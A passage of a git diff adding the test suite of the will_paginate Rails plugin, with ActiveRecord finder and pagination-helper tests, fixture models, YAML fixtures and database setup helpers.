'will_paginate' +WillPaginate.enable_activerecord + +class FinderTest < ActiveRecordTestCase + fixtures :topics, :replies, :users, :projects, :developers_projects + + def test_new_methods_presence + assert_respond_to_all Topic, %w(per_page paginate paginate_by_sql) + end + + def test_simple_paginate + entries = Topic.paginate :page => nil + assert_equal 1, entries.current_page + assert_nil entries.previous_page + assert_nil entries.next_page + assert_equal 1, entries.page_count + assert_equal 4, entries.size + + entries = Topic.paginate :page => 2 + assert_equal 2, entries.current_page + assert_equal 1, entries.previous_page + assert_equal 1, entries.page_count + assert entries.empty? + end + + def test_parameter_api + # :page parameter in options is required! + assert_raise(ArgumentError){ Topic.paginate } + assert_raise(ArgumentError){ Topic.paginate({}) } + + # explicit :all should not break anything + assert_equal Topic.paginate(:page => nil), Topic.paginate(:all, :page => 1) + + # :count could be nil and we should still not cry + assert_nothing_raised { Topic.paginate :page => 1, :count => nil } + end + + def test_paginate_with_per_page + entries = Topic.paginate :page => 1, :per_page => 1 + assert_equal 1, entries.size + assert_equal 4, entries.page_count + + # Developer class has explicit per_page at 10 + entries = Developer.paginate :page => 1 + assert_equal 10, entries.size + assert_equal 2, entries.page_count + + entries = Developer.paginate :page => 1, :per_page => 5 + assert_equal 11, entries.total_entries + assert_equal 5, entries.size + assert_equal 3, entries.page_count + end + + def test_paginate_with_order + entries = Topic.paginate :page => 1, :order => 'created_at desc' + expected = [topics(:futurama), topics(:harvey_birdman), topics(:rails), topics(:ar)].reverse + assert_equal expected, entries.to_a + assert_equal 1, entries.page_count + end + + def test_paginate_with_conditions + entries = Topic.paginate :page => 1, :conditions => ["created_at > ?", 30.minutes.ago] + expected = [topics(:rails), topics(:ar)] + assert_equal expected, entries.to_a + assert_equal 1, entries.page_count + end + + def test_paginate_with_include_and_conditions + entries = Topic.paginate \ + :page => 1, + :include => :replies, + :conditions => "replies.content LIKE 'Bird%' ", + :per_page => 10 + + expected = Topic.find :all, + :include => 'replies', + :conditions => "replies.content LIKE 'Bird%' ", + :limit => 10 + + assert_equal expected, entries.to_a + assert_equal 1, entries.total_entries + end + + def test_paginate_with_include_and_order + entries = Topic.paginate \ + :page => 1, + :include => :replies, + :order => 'replies.created_at asc, topics.created_at asc', + :per_page => 10 + + expected = Topic.find :all, + :include => 'replies', + :order => 'replies.created_at asc, topics.created_at asc', + :limit => 10 + + assert_equal expected, entries.to_a + assert_equal 4, entries.total_entries + end + + def test_paginate_associations_with_include + entries, project = nil, projects(:active_record) + + assert_nothing_raised "THIS IS A BUG in Rails 1.2.3 that was fixed in [7326]. " + + "Please upgrade to the 1-2-stable branch or edge Rails." do + entries = project.topics.paginate \ + :page => 1, + :include => :replies, + :conditions => "replies.content LIKE 'Nice%' ", + :per_page => 10 + end + + expected = Topic.find :all, + :include => 'replies', + :conditions => "project_id = #{project.id} AND replies.content LIKE 'Nice%' ", + :limit => 10 + + assert_equal expected, entries.to_a + end + + def test_paginate_associations + dhh = users :david + expected_name_ordered = [projects(:action_controller), projects(:active_record)] + expected_id_ordered = [projects(:active_record), projects(:action_controller)] + + # with association-specified order + entries = dhh.projects.paginate(:page => 1) + assert_equal expected_name_ordered, entries + assert_equal 2, entries.total_entries + + # with explicit order + entries = dhh.projects.paginate(:page => 1, :order => 'projects.id') + assert_equal expected_id_ordered, entries + assert_equal 2, entries.total_entries + + assert_nothing_raised { dhh.projects.find(:all, :order => 'projects.id', :limit => 4) } + entries = dhh.projects.paginate(:page => 1, :order => 'projects.id', :per_page => 4) + assert_equal expected_id_ordered, entries + + # has_many with implicit order + topic = Topic.find(1) + expected = [replies(:spam), replies(:witty_retort)] + assert_equal expected.map(&:id).sort, topic.replies.paginate(:page => 1).map(&:id).sort + assert_equal expected.reverse, topic.replies.paginate(:page => 1, :order => 'replies.id ASC') + end + + def test_paginate_association_extension + project = Project.find(:first) + entries = project.replies.paginate_recent :page => 1 + assert_equal [replies(:brave)], entries + end + + def test_paginate_with_joins + entries = Developer.paginate :page => 1, + :joins => 'LEFT JOIN developers_projects ON users.id = developers_projects.developer_id', + :conditions => 'project_id = 1' + assert_equal 2, entries.size + developer_names = entries.map { |d| d.name } + assert developer_names.include?('David') + assert developer_names.include?('Jamis') + + expected = entries.to_a + entries = Developer.paginate :page => 1, + :joins => 'LEFT JOIN developers_projects ON users.id = developers_projects.developer_id', + :conditions => 'project_id = 1', :count => { :select => "users.id" } + assert_equal expected, entries.to_a + end + + def test_paginate_with_group + entries = Developer.paginate :page => 1, :per_page => 10, + :group => 'salary', :select => 'salary', :order => 'salary' + expected = [ users(:david), users(:jamis), users(:dev_10), users(:poor_jamis) ].map(&:salary).sort + assert_equal expected, entries.map(&:salary) + end + + def test_paginate_with_dynamic_finder + expected = [replies(:witty_retort), replies(:spam)] + assert_equal expected, Reply.paginate_by_topic_id(1, :page => 1) + + entries = Developer.paginate :conditions => { :salary => 100000 }, :page => 1, :per_page => 5 + assert_equal 8, entries.total_entries + assert_equal entries, Developer.paginate_by_salary(100000, :page => 1, :per_page => 5) + + # dynamic finder + conditions + entries = Developer.paginate_by_salary(100000, :page => 1, + :conditions => ['id > ?', 6]) + assert_equal 4, entries.total_entries + assert_equal (7..10).to_a, entries.map(&:id) + + assert_raises NoMethodError do + Developer.paginate_by_inexistent_attribute 100000, :page => 1 + end + end + + def test_scoped_paginate + entries = Developer.with_poor_ones { Developer.paginate :page => 1 } + + assert_equal 2, entries.size + assert_equal 2, entries.total_entries + end + + def test_readonly + assert_nothing_raised { Developer.paginate :readonly => true, :page => 1 } + end + + # this functionality is temporarily removed + def xtest_pagination_defines_method + pager = "paginate_by_created_at" + assert !User.methods.include?(pager), "User methods should not include `#{pager}` method" + # paginate! + assert 0, User.send(pager, nil, :page => 1).total_entries + # the paging finder should now be defined + assert User.methods.include?(pager), "`#{pager}` method should be defined on User" + end + + # Is this Rails 2.0? Find out by testing find_all which was removed in [6998] + unless Developer.respond_to? :find_all + def test_paginate_array_of_ids + # AR finders also accept arrays of IDs + # (this was broken in Rails before [6912]) + entries = Developer.paginate((1..8).to_a, :per_page => 3, :page => 2, :order => 'id') + assert_equal (4..6).to_a, entries.map(&:id) + assert_equal 8, entries.total_entries + end + end + + uses_mocha 'internals' do + def test_implicit_all_with_dynamic_finders + Topic.expects(:find_all_by_foo).returns([]) + Topic.expects(:count).returns(0) + Topic.paginate_by_foo :page => 1 + end + + def test_guessing_the_total_count + Topic.expects(:find).returns(Array.new(2)) + Topic.expects(:count).never + + entries = Topic.paginate :page => 2, :per_page => 4 + assert_equal 6, entries.total_entries + end + + def test_extra_parameters_stay_untouched + Topic.expects(:find).with(:all, {:foo => 'bar', :limit => 4, :offset => 0 }).returns(Array.new(5)) + Topic.expects(:count).with({:foo => 'bar'}).returns(1) + + Topic.paginate :foo => 'bar', :page => 1, :per_page => 4 + end + + def test_count_skips_select + Developer.stubs(:find).returns([]) + Developer.expects(:count).with({}).returns(0) + Developer.paginate :select => 'salary', :page => 1 + end + + def test_count_select_when_distinct + Developer.stubs(:find).returns([]) + Developer.expects(:count).with(:select => 'DISTINCT salary').returns(0) + Developer.paginate :select => 'DISTINCT salary', :page => 1 + end + + def test_should_use_scoped_finders_if_present + # scope-out compatibility + Topic.expects(:find_best).returns(Array.new(5)) + Topic.expects(:with_best).returns(1) + + Topic.paginate_best :page => 1, :per_page => 4 + end + + def test_paginate_by_sql + assert_respond_to Developer, :paginate_by_sql + Developer.expects(:find_by_sql).with(regexp_matches(/sql LIMIT 3(,| OFFSET) 3/)).returns([]) + Developer.expects(:count_by_sql).with('SELECT COUNT(*) FROM (sql) AS count_table').returns(0) + + entries = Developer.paginate_by_sql 'sql', :page => 2, :per_page => 3 + end + + def test_paginate_by_sql_respects_total_entries_setting + Developer.expects(:find_by_sql).returns([]) + Developer.expects(:count_by_sql).never + + entries = Developer.paginate_by_sql 'sql', :page => 1, :total_entries => 999 + assert_equal 999, entries.total_entries + end + + def test_paginate_by_sql_strips_order_by_when_counting + Developer.expects(:find_by_sql).returns([]) + Developer.expects(:count_by_sql).with("SELECT COUNT(*) FROM (sql\n ) AS count_table").returns(0) + + entries = Developer.paginate_by_sql "sql\n ORDER\nby foo, bar, `baz` ASC", :page => 1 + end + + # TODO: counts are still wrong + def test_ability_to_use_with_custom_finders + # acts_as_taggable defines find_tagged_with(tag, options) + Topic.expects(:find_tagged_with).with('will_paginate', :offset => 0, :limit => 5).returns([]) + Topic.expects(:count).with({}).returns(0) + + Topic.paginate_tagged_with 'will_paginate', :page => 1, :per_page => 5 + end + + def test_array_argument_doesnt_eliminate_count + ids = (1..8).to_a + Developer.expects(:find_all_by_id).returns([]) + Developer.expects(:count).returns(0) + + Developer.paginate_by_id(ids, :per_page => 3, :page => 2, :order => 'id') + end + + def test_paginating_finder_doesnt_mangle_options + Developer.expects(:find).returns([]) + Developer.expects(:count).returns(0) + options = { :page => 1 } + options.expects(:delete).never + options_before = options.dup + + Developer.paginate(options) + assert_equal options, options_before + end + end +end diff --git a/vendor/plugins/will_paginate/test/fixtures/admin.rb b/vendor/plugins/will_paginate/test/fixtures/admin.rb new file mode 100644 index 0000000..1d5e7f3 --- /dev/null +++ b/vendor/plugins/will_paginate/test/fixtures/admin.rb @@ -0,0 +1,3 @@ +class Admin < User + has_many :companies, :finder_sql => 'SELECT * FROM companies' +end diff --git a/vendor/plugins/will_paginate/test/fixtures/developer.rb b/vendor/plugins/will_paginate/test/fixtures/developer.rb new file mode 100644 index 0000000..6650a98 --- /dev/null +++ b/vendor/plugins/will_paginate/test/fixtures/developer.rb @@ -0,0 +1,11 @@ +class Developer < User + has_and_belongs_to_many :projects, :include => :topics, :order => 'projects.name' + + def self.with_poor_ones(&block) + with_scope :find => { :conditions => ['salary <= ?', 80000], :order => 'salary' } do + yield + end + end + + def self.per_page() 10 end +end diff --git a/vendor/plugins/will_paginate/test/fixtures/developers_projects.yml b/vendor/plugins/will_paginate/test/fixtures/developers_projects.yml new file mode 100644 index 0000000..cee359c --- /dev/null +++ b/vendor/plugins/will_paginate/test/fixtures/developers_projects.yml @@ -0,0 +1,13 @@ +david_action_controller: + developer_id: 1 + project_id: 2 + joined_on: 2004-10-10 + +david_active_record: + developer_id: 1 + project_id: 1 + joined_on: 2004-10-10 + +jamis_active_record: + developer_id: 2 + project_id: 1 \ No newline at end of file diff --git a/vendor/plugins/will_paginate/test/fixtures/project.rb b/vendor/plugins/will_paginate/test/fixtures/project.rb new file mode 100644 index 0000000..0f85ef5 --- /dev/null +++ b/vendor/plugins/will_paginate/test/fixtures/project.rb @@ -0,0 +1,15 @@ +class Project < ActiveRecord::Base + has_and_belongs_to_many :developers, :uniq => true + + has_many :topics + # :finder_sql => 'SELECT * FROM topics WHERE (topics.project_id = #{id})', + # :counter_sql => 'SELECT COUNT(*) FROM topics WHERE (topics.project_id = #{id})' + + has_many :replies, :through => :topics do + def find_recent(params = {}) + with_scope :find => { :conditions => ['replies.created_at > ?', 15.minutes.ago] } do + find :all, params + end + end + end +end diff --git a/vendor/plugins/will_paginate/test/fixtures/projects.yml b/vendor/plugins/will_paginate/test/fixtures/projects.yml new file mode 100644 index 0000000..02800c7 --- /dev/null +++ b/vendor/plugins/will_paginate/test/fixtures/projects.yml @@ -0,0 +1,7 @@ +action_controller: + id: 2 + name: Active Controller + +active_record: + id: 1 + name: Active Record diff --git a/vendor/plugins/will_paginate/test/fixtures/replies.yml b/vendor/plugins/will_paginate/test/fixtures/replies.yml new file mode 100644 index 0000000..9a83c00 --- /dev/null +++ b/vendor/plugins/will_paginate/test/fixtures/replies.yml @@ -0,0 +1,29 @@ +witty_retort: + id: 1 + topic_id: 1 + content: Birdman is better! + created_at: <%= 6.hours.ago.to_s(:db) %> + +another: + id: 2 + topic_id: 2 + content: Nuh uh! + created_at: <%= 1.hour.ago.to_s(:db) %> + +spam: + id: 3 + topic_id: 1 + content: Nice site! + created_at: <%= 1.hour.ago.to_s(:db) %> + +decisive: + id: 4 + topic_id: 4 + content: "I'm getting to the bottom of this" + created_at: <%= 30.minutes.ago.to_s(:db) %> + +brave: + id: 5 + topic_id: 4 + content: "AR doesn't scare me a bit" + created_at: <%= 10.minutes.ago.to_s(:db) %> diff --git a/vendor/plugins/will_paginate/test/fixtures/reply.rb b/vendor/plugins/will_paginate/test/fixtures/reply.rb new file mode 100644 index 0000000..ea84042 --- /dev/null +++ b/vendor/plugins/will_paginate/test/fixtures/reply.rb @@ -0,0 +1,5 @@ +class Reply < ActiveRecord::Base + belongs_to :topic, :include => [:replies] + + validates_presence_of :content +end diff --git a/vendor/plugins/will_paginate/test/fixtures/schema.rb b/vendor/plugins/will_paginate/test/fixtures/schema.rb new file mode 100644 index 0000000..8831aad --- /dev/null +++ b/vendor/plugins/will_paginate/test/fixtures/schema.rb @@ -0,0 +1,38 @@ +ActiveRecord::Schema.define do + + create_table "users", :force => true do |t| + t.column "name", :text + t.column "salary", :integer, :default => 70000 + t.column "created_at", :datetime + t.column "updated_at", :datetime + t.column "type", :text + end + + create_table "projects", :force => true do |t| + t.column "name", :text + end + + create_table "developers_projects", :id => false, :force => true do |t| + t.column "developer_id", :integer, :null => false + t.column "project_id", :integer, :null => false + t.column "joined_on", :date + t.column "access_level", :integer, :default => 1 + end + + create_table "topics", :force => true do |t| + t.column "project_id", :integer + t.column "title", :string + t.column "subtitle", :string + t.column "content", :text + t.column "created_at", :datetime + t.column "updated_at", :datetime + end + + create_table "replies", :force => true do |t| + t.column "content", :text + t.column "created_at", :datetime + t.column "updated_at", :datetime + t.column "topic_id", :integer + end + +end diff --git a/vendor/plugins/will_paginate/test/fixtures/topic.rb b/vendor/plugins/will_paginate/test/fixtures/topic.rb new file mode 100644 index 0000000..12b8747 --- /dev/null +++ b/vendor/plugins/will_paginate/test/fixtures/topic.rb @@ -0,0 +1,4 @@ +class Topic < ActiveRecord::Base + has_many :replies, :dependent => :destroy, :order => 'replies.created_at DESC' + belongs_to :project +end diff --git a/vendor/plugins/will_paginate/test/fixtures/topics.yml b/vendor/plugins/will_paginate/test/fixtures/topics.yml new file mode 100644 index 0000000..0a26904 --- /dev/null +++ b/vendor/plugins/will_paginate/test/fixtures/topics.yml @@ -0,0 +1,30 @@ +futurama: + id: 1 + title: Isnt futurama awesome? + subtitle: It really is, isnt it. + content: I like futurama + created_at: <%= 1.day.ago.to_s(:db) %> + updated_at: + +harvey_birdman: + id: 2 + title: Harvey Birdman is the king of all men + subtitle: yup + content: He really is + created_at: <%= 2.hours.ago.to_s(:db) %> + updated_at: + +rails: + id: 3 + project_id: 1 + title: Rails is nice + subtitle: It makes me happy + content: except when I have to hack internals to fix pagination. even then really. + created_at: <%= 20.minutes.ago.to_s(:db) %> + +ar: + id: 4 + project_id: 1 + title: ActiveRecord sometimes freaks me out + content: "I mean, what's the deal with eager loading?" + created_at: <%= 15.minutes.ago.to_s(:db) %> diff --git a/vendor/plugins/will_paginate/test/fixtures/user.rb b/vendor/plugins/will_paginate/test/fixtures/user.rb new file mode 100644 index 0000000..4a57cf0 --- /dev/null +++ b/vendor/plugins/will_paginate/test/fixtures/user.rb @@ -0,0 +1,2 @@ +class User < ActiveRecord::Base +end diff --git a/vendor/plugins/will_paginate/test/fixtures/users.yml b/vendor/plugins/will_paginate/test/fixtures/users.yml new file mode 100644 index 0000000..ed2c03a --- /dev/null +++ b/vendor/plugins/will_paginate/test/fixtures/users.yml @@ -0,0 +1,35 @@ +david: + id: 1 + name: David + salary: 80000 + type: Developer + +jamis: + id: 2 + name: Jamis + salary: 150000 + type: Developer + +<% for digit in 3..10 %> +dev_<%= digit %>: + id: <%= digit %> + name: fixture_<%= digit %> + salary: 100000 + type: Developer +<% end %> + +poor_jamis: + id: 11 + name: Jamis + salary: 9000 + type: Developer + +admin: + id: 12 + name: admin + type: Admin + +goofy: + id: 13 + name: Goofy + type: Admin diff --git a/vendor/plugins/will_paginate/test/helper.rb b/vendor/plugins/will_paginate/test/helper.rb new file mode 100644 index 0000000..b8683ce --- /dev/null +++ b/vendor/plugins/will_paginate/test/helper.rb @@ -0,0 +1,25 @@ +require 'test/unit' +require 'rubygems' + +# gem install redgreen for colored test output +begin require 'redgreen'; rescue LoadError; end + +require File.join(File.dirname(__FILE__), 'boot') unless defined?(ActiveRecord) + +class Test::Unit::TestCase + protected + def assert_respond_to_all object, methods + methods.each do |method| + [method.to_s, method.to_sym].each { |m| assert_respond_to object, m } + end + end +end + +# Wrap tests that use Mocha and skip if unavailable. +def uses_mocha(test_name) + require 'mocha' unless Object.const_defined?(:Mocha) +rescue LoadError => load_error + $stderr.puts "Skipping #{test_name} tests. `gem install mocha` and try again." +else + yield +end diff --git a/vendor/plugins/will_paginate/test/lib/activerecord_test_case.rb b/vendor/plugins/will_paginate/test/lib/activerecord_test_case.rb new file mode 100644 index 0000000..a39b4a5 --- /dev/null +++ b/vendor/plugins/will_paginate/test/lib/activerecord_test_case.rb @@ -0,0 +1,23 @@ +require File.join(File.dirname(__FILE__), 'activerecord_test_connector') + +class ActiveRecordTestCase < Test::Unit::TestCase + # Set our fixture path + if ActiveRecordTestConnector.able_to_connect + self.fixture_path = File.join(File.dirname(__FILE__), '..', 'fixtures') + self.use_transactional_fixtures = true + end + + def self.fixtures(*args) + super if ActiveRecordTestConnector.connected + end + + def run(*args) + super if ActiveRecordTestConnector.connected + end + + # Default so Test::Unit::TestCase doesn't complain + def test_truth + end +end + +ActiveRecordTestConnector.setup diff --git a/vendor/plugins/will_paginate/test/lib/activerecord_test_connector.rb b/vendor/plugins/will_paginate/test/lib/activerecord_test_connector.rb new file mode 100644 index 0000000..35fde8e --- /dev/null +++ b/vendor/plugins/will_paginate/test/lib/activerecord_test_connector.rb @@ -0,0 +1,60 @@ +require 'active_record' +require 'active_record/version' +require 'active_record/fixtures' + +class ActiveRecordTestConnector + cattr_accessor :able_to_connect + cattr_accessor :connected + + # Set our defaults + self.connected = false + self.able_to_connect = true + + def self.setup + unless self.connected || !self.able_to_connect + setup_connection + load_schema + # require_fixture_models + Dependencies.load_paths.unshift(File.dirname(__FILE__) + "/../fixtures") + self.connected = true + end + rescue Exception => e # errors from ActiveRecord setup + $stderr.puts "\nSkipping ActiveRecord assertion tests: #{e}" + #$stderr.puts " #{e.backtrace.join("\n ")}\n" + self.able_to_connect = false + end + + private + + def self.setup_connection + db = ENV['DB'].blank?? 'sqlite3' : ENV['DB'] + + configurations = YAML.load_file(File.join(File.dirname(__FILE__), '..', 'database.yml')) + raise "no configuration for '#{db}'" unless configurations.key? db + configuration = configurations[db] + + ActiveRecord::Base.logger = Logger.new(STDOUT) if $0 == 'irb' + puts "using #{configuration['adapter']} adapter" unless ENV['DB'].blank? + + ActiveRecord::Base.establish_connection(configuration) + ActiveRecord::Base.configurations = { db => configuration } + ActiveRecord::Base.connection + + unless Object.const_defined?(:QUOTED_TYPE) + Object.send :const_set, :QUOTED_TYPE, ActiveRecord::Base.connection.quote_column_name('type') + end + end + + def self.load_schema + ActiveRecord::Base.silence do + ActiveRecord::Migration.verbose = false + load File.dirname(__FILE__) + "/../fixtures/schema.rb" + end + end + + def self.require_fixture_models + models = Dir.glob(File.dirname(__FILE__) + "/../fixtures/*.rb") + models = (models.grep(/user.rb/) + models).uniq + models.each { |f| require f } + end +end diff --git a/vendor/plugins/will_paginate/test/lib/html_inner_text.rb b/vendor/plugins/will_paginate/test/lib/html_inner_text.rb new file mode 100644 index 0000000..7bb6246 --- /dev/null +++ b/vendor/plugins/will_paginate/test/lib/html_inner_text.rb @@ -0,0 +1,21 @@ +require 'action_controller/test_process' + +module HTML + class Node + def inner_text + children.map(&:inner_text).join('') + end + end + + class Text + def inner_text + self.to_s + end + end + + class Tag + def inner_text + childless?? '' : super + end + end +end diff --git a/vendor/plugins/will_paginate/test/lib/load_fixtures.rb b/vendor/plugins/will_paginate/test/lib/load_fixtures.rb new file mode 100644 index 0000000..c9f4d1f --- /dev/null +++ b/vendor/plugins/will_paginate/test/lib/load_fixtures.rb @@ -0,0 +1,13 @@ +dirname = File.dirname(__FILE__) +require File.join(dirname, '..', 'boot') +require File.join(dirname, 'activerecord_test_connector') + +# setup the connection +ActiveRecordTestConnector.setup + +# load all fixtures +fixture_path = File.join(dirname, '..', 'fixtures') +Fixtures.create_fixtures(fixture_path, ActiveRecord::Base.connection.tables) + +require 'will_paginate' +WillPaginate.enable_activerecord diff --git a/vendor/plugins/will_paginate/test/pagination_test.rb b/vendor/plugins/will_paginate/test/pagination_test.rb new file mode 100644 index 0000000..3a7a52b --- /dev/null +++ b/vendor/plugins/will_paginate/test/pagination_test.rb @@ -0,0 +1,242 @@ +require File.dirname(__FILE__) + '/helper' +require 'action_controller' +require File.dirname(__FILE__) + '/lib/html_inner_text' + +ActionController::Routing::Routes.draw do |map| + map.connect ':controller/:action/:id' +end + +ActionController::Base.perform_caching = false + +require 'will_paginate' +WillPaginate.enable_actionpack + +class PaginationTest < Test::Unit::TestCase + + class DevelopersController < ActionController::Base + def list_developers + @options = session[:wp] || {} + + @developers = (1..11).to_a.paginate( + :page => params[@options[:param_name] || :page] || 1, + :per_page => params[:per_page] || 4 + ) + + render :inline => '<%= will_paginate @developers, @options %>' + end + + def guess_collection_name + @developers = session[:wp] + @options = session[:wp_options] + render :inline => '<%= will_paginate @options %>' + end + + protected + def rescue_errors(e) raise e end + def rescue_action(e) raise e end + end + + def setup + @controller = DevelopersController.new + @request = ActionController::TestRequest.new + @response = ActionController::TestResponse.new + super + end + + def test_will_paginate + get :list_developers + + entries = assigns :developers + assert entries + assert_equal 4, entries.size + + assert_select 'div.pagination', 1, 'no main DIV' do |pagination| + assert_select 'a[href]', 3 do |elements| + validate_page_numbers [2,3,2], elements + assert_select elements.last, ':last-child', "Next »" + end + assert_select 'span', 2 + assert_select 'span.disabled:first-child', "« Previous" + assert_select 'span.current', entries.current_page.to_s + assert_equal '« Previous 1 2 3 Next »', pagination.first.inner_text + end + end + + def test_will_paginate_with_options + get :list_developers, { :page => 2 }, :wp => { + :class => 'will_paginate', :prev_label => 'Prev', :next_label => 'Next' + } + assert_response :success + + entries = assigns :developers + assert entries + assert_equal 4, entries.size + + assert_select 'div.will_paginate', 1, 'no main DIV' do + assert_select 'a[href]', 4 do |elements| + validate_page_numbers [1,1,3,3], elements + assert_select elements.first, 'a', "Prev" + assert_select elements.last, 'a', "Next" + end + assert_select 'span.current', entries.current_page.to_s + end + end + + def test_will_paginate_without_container + get :list_developers, {}, :wp => { :container => false } + assert_select 'div.pagination', 0, 'no main DIV' + assert_select 'a[href]', 3 + end + + def test_will_paginate_without_page_links + get :list_developers, { :page => 2 }, :wp => { :page_links => false } + assert_select 'a[href]', 2 do |elements| + validate_page_numbers [1,3], elements + end + end + + def test_will_paginate_preserves_parameters_on_get + get :list_developers, :foo => { :bar => 'baz' } + assert_links_match /foo%5Bbar%5D=baz/ + end + + def test_will_paginate_doesnt_preserve_parameters_on_post + post :list_developers, :foo => 'bar' + assert_no_links_match /foo=bar/ + end + + def test_adding_additional_parameters + get :list_developers, {}, :wp => { :params => { :foo => 'bar' } } + assert_links_match /foo=bar/ + end + + def test_removing_arbitrary_parameters + get :list_developers, { :foo => 'bar' }, :wp => { :params => { :foo => nil } } + assert_no_links_match /foo=bar/ + end + + def test_adding_additional_route_parameters + get :list_developers, {}, :wp => { :params => { :controller => 'baz' } } + assert_links_match %r{\Wbaz/list_developers\W} + end + + def test_will_paginate_with_custom_page_param + get :list_developers, { :developers_page => 2 }, :wp => { :param_name => :developers_page } + assert_response :success + + entries = assigns :developers + assert entries + assert_equal 4, entries.size + + assert_select 'div.pagination', 1, 'no main DIV' do + assert_select 'a[href]', 4 do |elements| + validate_page_numbers [1,1,3,3], elements, :developers_page + end + assert_select 'span.current', entries.current_page.to_s + end + end + + def test_will_paginate_windows + get :list_developers, { :page => 6, :per_page => 1 }, :wp => { :inner_window => 1 } + assert_response :success + + entries = assigns :developers + assert entries + assert_equal 1, entries.size + + assert_select 'div.pagination', 1, 'no main DIV' do |pagination| + assert_select 'a[href]', 8 do |elements| + validate_page_numbers [5,1,2,5,7,10,11,7], elements + assert_select elements.first, 'a', "« Previous" + assert_select elements.last, 'a', "Next »" + end + assert_select 'span.current', entries.current_page.to_s + assert_equal '« Previous 1 2 ... 5 6 7 ... 10 11 Next »', pagination.first.inner_text + end + end + + def test_will_paginate_eliminates_small_gaps + get :list_developers, { :page => 6, :per_page => 1 }, :wp => { :inner_window => 2 } + assert_response :success + + assert_select 'div.pagination', 1, 'no main DIV' do + assert_select 'a[href]', 12 do |elements| + validate_page_numbers [5,1,2,3,4,5,7,8,9,10,11,7], elements + end + end + end + + def test_no_pagination + get :list_developers, :per_page => 12 + entries = assigns :developers + assert_equal 1, entries.page_count + assert_equal 11, entries.size + + assert_equal '', @response.body + end + + def test_faulty_input_raises_error + assert_raise WillPaginate::InvalidPage do + get :list_developers, :page => 'foo' + end + end + + uses_mocha 'helper internals' do + def test_collection_name_can_be_guessed + collection = mock + collection.expects(:page_count).returns(1) + get :guess_collection_name, {}, :wp => collection + end + end + + def test_inferred_collection_name_raises_error_when_nil + ex = assert_raise ArgumentError do + get :guess_collection_name, {}, :wp => nil + end + assert ex.message.include?('@developers') + end + + def test_setting_id_for_container + get :list_developers + assert_select 'div.pagination', 1 do |div| + assert_nil div.first['id'] + end + # magic ID + get :list_developers, {}, :wp => { :id => true } + assert_select 'div.pagination', 1 do |div| + assert_equal 'fixnums_pagination', div.first['id'] + end + # explicit ID + get :list_developers, {}, :wp => { :id => 'custom_id' } + assert_select 'div.pagination', 1 do |div| + assert_equal 'custom_id', div.first['id'] + end + end + +protected + + def validate_page_numbers expected, links, param_name = :page + param_pattern = /\W#{param_name}=([^&]*)/ + + assert_equal(expected, links.map { |e| + e['href'] =~ param_pattern + $1 ? $1.to_i : $1 + }) + end + + def assert_links_match pattern + assert_select 'div.pagination a[href]' do |elements| + elements.each do |el| + assert_match pattern, el['href'] + end + end + end + + def assert_no_links_match pattern + assert_select 'div.pagination a[href]' do |elements| + elements.each do |el| + assert_no_match pattern, el['href'] + end + end + end +end